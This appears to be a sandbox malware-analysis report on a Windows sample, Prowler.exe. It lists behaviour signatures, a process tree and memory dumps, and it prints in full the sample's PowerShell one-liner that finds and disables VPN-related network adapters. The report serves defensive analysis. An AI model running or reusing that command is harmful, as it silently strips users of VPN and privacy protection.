Analysis
- user interaction
yes - max time kernel
150s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
15/08/2026, 17:31
General
- Target Prowler.exe
- Size 113.8MB
- Sample260815-v3vrxaem9w
- SHA256 c59f6ca53f92de9059dad6d549347bd485ec1d75aa490eaba5b87c4166f6f324
Malware Config
Signatures
- Loads dropped DLL 2 IoCs
- Looks up external IP address via web service 1 TTPs 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Prowler.exe"C:\Users\Admin\AppData\Local\Temp\Prowler.exe"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "$vpnAdapter = Get-NetAdapter | Where-Object { $_.Name -match 'vpn|avira|phantom|proton' -or $_.InterfaceDescription -match 'vpn|avira|phantom|proton' };if ($vpnAdapter) { $name = $vpnAdapter.Name; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 8; try { Disable-NetAdapter -Name $name -Confirm:$false } catch {}; Start-Sleep -Seconds 7}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_3tvu1lps.jgy.ps1
evb19B9.tmp
evb19E9.tmp
memory/1140-59-0x000001C6B23A0000-0x000001C6B23BE000-memory.dmp
memory/1140-49-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-61-0x000001C6B2390000-0x000001C6B239A000-memory.dmp
memory/1140-60-0x000001C6B2630000-0x000001C6B26E2000-memory.dmp
memory/1140-45-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-64-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-48-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-62-0x000001C6B23E0000-0x000001C6B23FE000-memory.dmp
memory/1140-52-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-56-0x000001C69A1C0000-0x000001C69A1E2000-memory.dmp
memory/1140-53-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-50-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-51-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-47-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/1140-46-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-20-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-16-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-25-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-27-0x0000000180000000-0x000000018033F000-memory.dmp
memory/4856-24-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-28-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-29-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-30-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-33-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-34-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-35-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-36-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-39-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-42-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-21-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-23-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-22-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-19-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-0-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-18-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-17-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-26-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-15-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-14-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-12-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-13-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-11-0x0000000010000000-0x0000000010009000-memory.dmp
memory/4856-9-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-7-0x00007FFBEC660000-0x00007FFBEC8C3000-memory.dmp
memory/4856-66-0x0000000180000000-0x000000018033F000-memory.dmp
memory/4856-65-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-68-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-71-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-4-0x0000000180000000-0x000000018033F000-memory.dmp
memory/4856-1-0x00007FFBEC7BF000-0x00007FFBEC7C0000-memory.dmp
memory/4856-99-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-81-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-84-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-87-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-90-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-93-0x0000000140000000-0x000000014068F000-memory.dmp
memory/4856-96-0x0000000140000000-0x000000014068F000-memory.dmp
memory/6136-79-0x0000016E45EE0000-0x0000016E45F92000-memory.dmp